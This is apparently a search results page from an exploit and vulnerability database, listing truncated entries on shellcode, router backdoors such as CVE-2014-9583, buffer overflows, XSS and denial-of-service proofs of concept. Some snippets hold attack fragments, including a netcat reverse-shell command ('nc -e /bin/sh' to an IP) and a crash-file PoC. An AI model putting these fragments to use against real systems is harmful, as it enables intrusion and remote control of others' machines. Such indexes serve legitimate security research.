107 matches found
Linux 64bit Ncat Shellcode SSL, MultiChannel, Persistant, Fork, IPv4/6, Password - 176 bytes
Linux 64bit Ncat Shellcode SSL, MultiChannel, Persistant, Fork, IPv4/6, Password - 176 bytes. Shellcode exploit for linx86-64 platform include include // Exploit Title: Linux 64bit Ncat + SSL + MultiChannel + Persistant + Fork + IPv4/6 + Password 176byte // Date: 7/5/2016 // Exploit Author:...
Linux Netcat Reverse Shell - 32bit - 77 bytes
Linux Netcat Reverse Shell - 32bit - 77 bytes. Shellcode exploit for linx86 platform include include //[email protected] //OffSec ID: OS-20614 / global start start: ;/bin//nc -e///bin/sh 10.0.0.6 99 xor eax,eax ; clear eax xor edx,edx ; clear edi ; 0xIN-LAST IN-FIRST push 0x3939393...
Lantronix xPort telnet access configuration operation vulnerability
The XPort is based on Lantronix's DSTni network processor SoC and already includes a 10/100 MAC/PHY and 256 KB of SRAM memory. A built-in web server allows standard browsers to communicate with the device. The Lantronix xPort fails to properly restrict access to TCP port 9999, allowing remote...
ASUSWRT Backdoor Command Execution Vulnerability
ASUSWRT is the ASUS router firmware. In ASUS WRT versions 3.0.0.4.3761071, 3.0.0.376.2524-g0013f52, infosvr's common.c fails to properly check the requested MAC address, which could allow a remote attacker to send a NETCMDIDMANUCMD packet to UDP port 9999, by sending a packet to UDP port 9999, an...
CVE-2014-9583
common.c in infosvr in ASUS WRT firmware 3.0.0.4.3761071, 3.0.0.376.2524-g0013f52, and other versions, as used in RT-AC66U, RT-N66U, and other routers, does not properly check the MAC address for a request, which allows remote attackers to bypass authentication and execute arbitrary commands via ...
CVE-2014-9583
common.c in infosvr in ASUS WRT firmware 3.0.0.4.3761071, 3.0.0.376.2524-g0013f52, and other versions, as used in RT-AC66U, RT-N66U, and other routers, does not properly check the MAC address for a request, which allows remote attackers to bypass authentication and execute arbitrary commands via ...
ASUSWRT 3.0.0.4.376_1071 - LAN Backdoor Command Execution Exploit
ASUSWRT version 3.0.0.4.3761071 suffers from a remote command execution vulnerability. A service called "infosvr" listens on port 9999 on the LAN bridge. Normally this service is used for device discovery using the "ASUS Wireless Router Device Discovery Utility", but this service contains a featu...
ASUSWRT 3.0.0.4.376_1071 - LAN Backdoor Command Execution
!/usr/bin/env python3 Exploit Title: ASUSWRT 3.0.0.4.3761071 LAN Backdoor Command Execution Date: 2014-10-11 Vendor Homepage: http://www.asus.com/ Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66UB1/FWRTN66U30043762524.zip Source code:...
SuSE 11.3 Security Update : IBM Java (SAT Patch Number 9999)
java-170-ibm has been updated to version 1.7.0sr7.2 to fix 21 security issues. These security issues have been fixed : - Unspecified vulnerability. CVE-2014-3065 - The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which makes it easier...
Microsoft Internet Explorer 5.0.1 Content Advisor File Handling Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13117/info Microsoft Internet Explorer is prone to a remote buffer overflow vulnerability when handling malformed Content Advisor files. An attacker can exploit this issue by crafting a Content Advisor file with excessive...
bsnes 0.87 - Local Denial of Service
No description provided by source. ?php bsnes v0.87 Local Daniel Of Service Tested on Windows 7 64Bit Software Site: http://byuu.org/bsnes/ Software Download: http://www.emulator-zone.com/download.php/emulators/snes/bsnes/bsnesv087-64bit.7z Author: Pr0T3cT10n bsnes v0.87 is vulnerable to local...
Eznet 3.5.0 - Remote Stack Overflow and Denial of Service Exploit
No description provided by source. !/usr/bin/perl -w Stack Overflow in eZnet.exe - Remote Exploit Will download a trojan from any address which you provide on the target system, then will execute the trojan. For this exploit I have tried several strategies to increase reliability and performance:...
bsnes 0.87 - Local Denial of Service
bsnes 0.87 - Local Denial of Service 'Load NES Catridge' that contains 9999 chars 'A', so bsnes should crash. PoC / Code: $buffer = strrepeat'A', 9999; Create 9999 chars'A'.. iffileputcontents'crash.nes', $buffer echo"File created successfuly.\r\bsnes should crash when you open the file with...
Dolphin 2.0 (.elf) Local Daniel Of Service
Exploit for windows platform in category dos / poc ========================================== Dolphin 2.0 .elf Local Daniel Of Service ========================================== Site: http://www.nullbyte.org.il Dolphin 2.0 is vulnerable to local denial of service attack. When we try to open a fil...
Unfixed XSS vulnerability at www.normateneo.unibo.it
Security researcher trueliarx, has submitted on 18/04/2010 a cross-site-scripting XSS vulnerability affecting www.normateneo.unibo.it, which at the time of submission ranked 9999 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/07/2010. It is...
MySQL MaxDB WebDBM Server Buffer Overflow (CVE-2006-4305)
MaxDB is an open source database application suite developed by MySQL AB that is available for various operating systems. The software bundles an HTTP server component, named Webtool, to provide a web-based application interface. Clients can connect to the Webtool with a web browser and access...
SAPDB Cross Site Scripting
Digital Security Research Group DSecRG Advisory DSECRG-09-016 !!! original advisory !!! http://dsecrg.com/pages/vul/DSECRG-09-016.html Application: SAPDB Versions Affected: Last Vendor URL: http://SAP.com Bugs: XSS Exploits: YES Reported: 20.11.2008 Vendor response: 20.11.2008 Date of Public...
PHP popen()函数缓冲区溢出漏洞
BUGTRAQ ID: 33216 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP的Popen函数用创建管道的方式启动进程，并调用shell。在打开管道时Popen函数会fork指定的命令参数： popen string $commandtoexecute , string $mode 如果第二个参数超长的话，就可能触发缓冲区溢出，导致执行任意代码。 PHP PHP 5.2.8 PHP PHP 4.2.1 PHP PHP 4.2.0 厂商补丁： PHP ---...
SAP SAPDB (WEB DBM) XSS Vulnerability
Application: SAPDB Versions Affected: Last Vendor URL: Bugs: XSS Exploits: YES Reported: 20.11.2008 Vendor response: 20.11.2008 Date of Public Advisory: 31.03.2009 Description SAP MaxDB Web Database engine which listens port 9999 has a Linked XSS security vulnerability. Business Risk An attacker...